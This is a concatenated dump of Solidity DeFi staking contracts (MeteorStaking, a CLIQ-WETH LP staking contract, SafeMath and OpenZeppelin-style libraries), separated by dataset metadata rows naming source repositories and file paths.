number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 128,775 | 10,668 |
fe3d3b6252a9c44cdf9eecdeadd3e4c44a7ef52e050c10c1ce388c66bab49aa7
| 27,495 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/d8/D8577F33ad86B883349C71166426B2bd4b9B9810_MeteorStaking.sol
| 4,256 | 16,999 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMtr {
function rebase(uint256 mtrProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract MeteorStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Mtr;
address public immutable sMtr;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Mtr,
address _sMtr,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Mtr != address(0));
Mtr = _Mtr;
require(_sMtr != address(0));
sMtr = _sMtr;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Mtr).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMtr(sMtr).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sMtr).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMtr(sMtr).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMtr(sMtr).balanceForGons(info.gons));
IERC20(Mtr).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sMtr).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Mtr).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMtr(sMtr).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMtr(sMtr).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMtr(sMtr).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Mtr).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sMtr).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sMtr).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
function resetEpochEndTime() external onlyManager() {
epoch.endTime = uint32(block.timestamp).add32(epoch.length);
}
}
| 101,333 | 10,669 |
6f1f2a5f00f38b2384dc8921293d581bc11a88726649dbda4fd125c4d6aebfd2
| 16,660 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0xc929db61fb93ca4085bf50fb04b29d2658bec98d.sol
| 4,495 | 16,465 |
pragma solidity ^0.6.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256){
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b,"Calculation error");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256){
require(b > 0,"Calculation error");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256){
require(b <= a,"Calculation error");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256){
uint256 c = a + b;
require(c >= a,"Calculation error");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256){
require(b != 0,"Calculation error");
return a % b;
}
}
abstract contract ILPToken {
function balanceOf(address) public virtual returns (uint256);
function transfer(address, uint256) public virtual returns (bool);
function transferFrom(address, address, uint256) public virtual returns (bool);
function approve(address , uint256) public virtual returns (bool);
}
abstract contract IToken {
function balanceOf(address) public virtual returns (uint256);
function transfer(address, uint256) public virtual returns (bool);
function transferFrom(address, address, uint256) public virtual returns (bool);
function approve(address , uint256) public virtual returns (bool);
}
contract CLIQWETHLPStaking {
using SafeMath for uint256;
address private _owner; // variable for Owner of the Contract.
uint256 private _withdrawTime; // variable to manage withdraw time for Token
uint256 constant public PERIOD_SILVER = 90; // variable constant for time period managemnt
uint256 constant public PERIOD_GOLD = 180; // variable constant for time period managemnt
uint256 constant public PERIOD_PLATINUM = 270; // variable constant for time period managemnt
uint256 constant public WITHDRAW_TIME_SILVER = 45 * 1 days; // variable constant to manage withdraw time lock up
uint256 constant public WITHDRAW_TIME_GOLD = 90 * 1 days; // variable constant to manage withdraw time lock up
uint256 constant public WITHDRAW_TIME_PLATINUM = 135 * 1 days; // variable constant to manage withdraw time lock up
uint256 public TOKEN_REWARD_PERCENT_SILVER = 21788328; // variable constant to manage token reward percentage for silver
uint256 public TOKEN_REWARD_PERCENT_GOLD = 67332005; // variable constant to manage token reward percentage for gold
uint256 public TOKEN_REWARD_PERCENT_PLATINUM = 178233538; // variable constant to manage token reward percentage for platinum
uint256 public TOKEN_PENALTY_PERCENT_SILVER = 10894164; // variable constant to manage token penalty percentage for silver
uint256 public TOKEN_PENALTY_PERCENT_GOLD = 23566201; // variable constant to manage token penalty percentage for gold
uint256 public TOKEN_PENALTY_PERCENT_PLATINUM = 44558384; // variable constant to manage token penalty percentage for platinum
event Paused();
event Unpaused();
function getowner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(),"You are not authenticate to make this transfer");
_;
}
function isOwner() internal view returns (bool) {
return msg.sender == _owner;
}
function transferOwnership(address newOwner) public onlyOwner returns (bool){
_owner = newOwner;
return true;
}
constructor() public {
_owner = msg.sender;
}
ILPToken ilptoken;
IToken itoken;
function setContractAddresses(address lpTokenContractAddress, address tokenContractAddress) external onlyOwner returns(bool){
ilptoken = ILPToken(lpTokenContractAddress);
itoken = IToken(tokenContractAddress);
return true;
}
function addTokenReward(uint256 token) external onlyOwner returns(bool){
_ownerTokenAllowance = _ownerTokenAllowance.add(token);
itoken.transferFrom(msg.sender, address(this), token);
return true;
}
function withdrawAddedTokenReward(uint256 token) external onlyOwner returns(bool){
require(token < _ownerTokenAllowance,"Value is not feasible, Please Try Again!!!");
_ownerTokenAllowance = _ownerTokenAllowance.sub(token);
itoken.transfer(msg.sender, token);
return true;
}
function getTokenReward() public view returns(uint256){
return _ownerTokenAllowance;
}
function pauseTokenStaking() public onlyOwner {
tokenPaused = true;
emit Paused();
}
function unpauseTokenStaking() public onlyOwner {
tokenPaused = false;
emit Unpaused();
}
function setManager(uint256 tokenStakingCount, uint256 tokenTotalDays, address tokenStakingAddress, uint256 tokenStakingStartTime,
uint256 tokenStakingEndTime, uint256 usertokens) external onlyOwner returns(bool){
_tokenStakingCount = tokenStakingCount;
_tokenTotalDays[_tokenStakingCount] = tokenTotalDays;
_tokenStakingAddress[_tokenStakingCount] = tokenStakingAddress;
_tokenStakingId[tokenStakingAddress].push(_tokenStakingCount);
_tokenStakingEndTime[_tokenStakingCount] = tokenStakingEndTime;
_tokenStakingStartTime[_tokenStakingCount] = tokenStakingStartTime;
_usersTokens[_tokenStakingCount] = usertokens;
_TokenTransactionstatus[_tokenStakingCount] = false;
totalStakedToken = totalStakedToken.add(usertokens);
totalTokenStakesInContract = totalTokenStakesInContract.add(usertokens);
return true;
}
function setRewardPercent(uint256 silver, uint256 gold, uint256 platinum) external onlyOwner returns(bool){
require(silver != 0 && gold != 0 && platinum !=0,"Invalid Reward Value or Zero value, Please Try Again!!!");
TOKEN_REWARD_PERCENT_SILVER = silver;
TOKEN_REWARD_PERCENT_GOLD = gold;
TOKEN_REWARD_PERCENT_PLATINUM = platinum;
return true;
}
function setPenaltyPercent(uint256 silver, uint256 gold, uint256 platinum) external onlyOwner returns(bool){
require(silver != 0 && gold != 0 && platinum !=0,"Invalid Penalty Value or Zero value, Please Try Again!!!");
TOKEN_PENALTY_PERCENT_SILVER = silver;
TOKEN_PENALTY_PERCENT_GOLD = gold;
TOKEN_PENALTY_PERCENT_PLATINUM = platinum;
return true;
}
function withdrawLPToken(uint256 amount) external onlyOwner returns(bool){
ilptoken.transfer(msg.sender,amount);
return true;
}
function withdrawToken(uint256 amount) external onlyOwner returns(bool){
itoken.transfer(msg.sender,amount);
return true;
}
function withdrawETH() external onlyOwner returns(bool){
msg.sender.transfer(address(this).balance);
return true;
}
mapping (uint256 => address) private _tokenStakingAddress;
mapping (address => uint256[]) private _tokenStakingId;
mapping (uint256 => uint256) private _tokenStakingStartTime;
mapping (uint256 => uint256) private _tokenStakingEndTime;
mapping (uint256 => uint256) private _usersTokens;
mapping (uint256 => bool) private _TokenTransactionstatus;
mapping(uint256=>uint256) private _finalTokenStakeWithdraw;
mapping(uint256=>uint256) private _tokenTotalDays;
uint256 private _tokenStakingCount = 0;
uint256 private _ownerTokenAllowance = 0;
uint256 private _tokentime;
bool public tokenPaused = false;
uint256 public totalStakedToken = 0;
uint256 public totalTokenStakesInContract = 0;
modifier tokenStakeCheck(uint256 tokens, uint256 timePeriod){
require(tokens > 0, "Invalid Token Amount, Please Try Again!!! ");
require(timePeriod == PERIOD_SILVER || timePeriod == PERIOD_GOLD || timePeriod == PERIOD_PLATINUM, "Enter the Valid Time Period and Try Again !!!");
_;
}
function stakeToken(uint256 tokens, uint256 time) public tokenStakeCheck(tokens, time) returns(bool){
require(tokenPaused == false, "Staking is Paused, Please try after staking get unpaused!!!");
_tokentime = now + (time * 1 days);
_tokenStakingCount = _tokenStakingCount + 1;
_tokenTotalDays[_tokenStakingCount] = time;
_tokenStakingAddress[_tokenStakingCount] = msg.sender;
_tokenStakingId[msg.sender].push(_tokenStakingCount);
_tokenStakingEndTime[_tokenStakingCount] = _tokentime;
_tokenStakingStartTime[_tokenStakingCount] = now;
_usersTokens[_tokenStakingCount] = tokens;
_TokenTransactionstatus[_tokenStakingCount] = false;
totalStakedToken = totalStakedToken.add(tokens);
totalTokenStakesInContract = totalTokenStakesInContract.add(tokens);
ilptoken.transferFrom(msg.sender, address(this), tokens);
return true;
}
function getTokenStakingCount() public view returns(uint256){
return _tokenStakingCount;
}
function getTotalStakedToken() public view returns(uint256){
return totalStakedToken;
}
function getTokenRewardDetailsByStakingId(uint256 id) public view returns(uint256){
if(_tokenTotalDays[id] == PERIOD_SILVER) {
return (_usersTokens[id]*TOKEN_REWARD_PERCENT_SILVER/100000000);
} else if(_tokenTotalDays[id] == PERIOD_GOLD) {
return (_usersTokens[id]*TOKEN_REWARD_PERCENT_GOLD/100000000);
} else if(_tokenTotalDays[id] == PERIOD_PLATINUM) {
return (_usersTokens[id]*TOKEN_REWARD_PERCENT_PLATINUM/100000000);
} else{
return 0;
}
}
function getTokenPenaltyDetailByStakingId(uint256 id) public view returns(uint256){
if(_tokenStakingEndTime[id] > now){
if(_tokenTotalDays[id]==PERIOD_SILVER){
return (_usersTokens[id]*TOKEN_PENALTY_PERCENT_SILVER/100000000);
} else if(_tokenTotalDays[id] == PERIOD_GOLD) {
return (_usersTokens[id]*TOKEN_PENALTY_PERCENT_GOLD/100000000);
} else if(_tokenTotalDays[id] == PERIOD_PLATINUM) {
return (_usersTokens[id]*TOKEN_PENALTY_PERCENT_PLATINUM/100000000);
} else {
return 0;
}
} else{
return 0;
}
}
function withdrawStakedTokens(uint256 stakingId) public returns(bool) {
require(_tokenStakingAddress[stakingId] == msg.sender,"No staked token found on this address and ID");
require(_TokenTransactionstatus[stakingId] != true,"Either tokens are already withdrawn or blocked by admin");
if(_tokenTotalDays[stakingId] == PERIOD_SILVER){
require(now >= _tokenStakingStartTime[stakingId] + WITHDRAW_TIME_SILVER, "Unable to Withdraw Staked token before 45 days of staking start time, Please Try Again Later!!!");
_TokenTransactionstatus[stakingId] = true;
if(now >= _tokenStakingEndTime[stakingId]){
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenRewardDetailsByStakingId(stakingId));
ilptoken.transfer(msg.sender,_usersTokens[stakingId]);
itoken.transfer(msg.sender,getTokenRewardDetailsByStakingId(stakingId));
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
_ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenRewardDetailsByStakingId(stakingId));
} else {
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenPenaltyDetailByStakingId(stakingId));
ilptoken.transfer(msg.sender,_usersTokens[stakingId]);
itoken.transfer(msg.sender,getTokenPenaltyDetailByStakingId(stakingId));
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
_ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenPenaltyDetailByStakingId(stakingId));
}
} else if(_tokenTotalDays[stakingId] == PERIOD_GOLD){
require(now >= _tokenStakingStartTime[stakingId] + WITHDRAW_TIME_GOLD, "Unable to Withdraw Staked token before 90 days of staking start time, Please Try Again Later!!!");
_TokenTransactionstatus[stakingId] = true;
if(now >= _tokenStakingEndTime[stakingId]){
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenRewardDetailsByStakingId(stakingId));
ilptoken.transfer(msg.sender,_usersTokens[stakingId]);
itoken.transfer(msg.sender,getTokenRewardDetailsByStakingId(stakingId));
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
_ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenRewardDetailsByStakingId(stakingId));
} else {
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenPenaltyDetailByStakingId(stakingId));
ilptoken.transfer(msg.sender,_usersTokens[stakingId]);
itoken.transfer(msg.sender,getTokenPenaltyDetailByStakingId(stakingId));
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
_ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenPenaltyDetailByStakingId(stakingId));
}
} else if(_tokenTotalDays[stakingId] == PERIOD_PLATINUM){
require(now >= _tokenStakingStartTime[stakingId] + WITHDRAW_TIME_PLATINUM, "Unable to Withdraw Staked token before 135 days of staking start time, Please Try Again Later!!!");
_TokenTransactionstatus[stakingId] = true;
if(now >= _tokenStakingEndTime[stakingId]){
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenRewardDetailsByStakingId(stakingId));
ilptoken.transfer(msg.sender,_usersTokens[stakingId]);
itoken.transfer(msg.sender,getTokenRewardDetailsByStakingId(stakingId));
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
_ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenRewardDetailsByStakingId(stakingId));
} else {
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenPenaltyDetailByStakingId(stakingId));
ilptoken.transfer(msg.sender,_usersTokens[stakingId]);
itoken.transfer(msg.sender,getTokenPenaltyDetailByStakingId(stakingId));
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
_ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenPenaltyDetailByStakingId(stakingId));
}
} else {
return false;
}
return true;
}
function getFinalTokenStakeWithdraw(uint256 id) public view returns(uint256){
return _finalTokenStakeWithdraw[id];
}
function getTotalTokenStakesInContract() public view returns(uint256){
return totalTokenStakesInContract;
}
function getTokenStakingAddressById(uint256 id) external view returns (address){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _tokenStakingAddress[id];
}
function getTokenStakingIdByAddress(address add) external view returns(uint256[] memory){
require(add != address(0),"Invalid Address, Pleae Try Again!!!");
return _tokenStakingId[add];
}
function getTokenStakingStartTimeById(uint256 id) external view returns(uint256){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _tokenStakingStartTime[id];
}
function getTokenStakingEndTimeById(uint256 id) external view returns(uint256){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _tokenStakingEndTime[id];
}
function getTokenStakingTotalDaysById(uint256 id) external view returns(uint256){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _tokenTotalDays[id];
}
function getStakingTokenById(uint256 id) external view returns(uint256){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _usersTokens[id];
}
function getTokenLockStatus(uint256 id) external view returns(bool){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _TokenTransactionstatus[id];
}
}
| 275,009 | 10,670 |
4cca7b94e4d6b8f2ac5f404e7574e71372ec523586f3d2dc01a05976d51274a4
| 13,747 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x845c79c8D5b70dAAC3D5690421744DB0CA91c40d/contract.sol
| 3,454 | 13,271 |
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
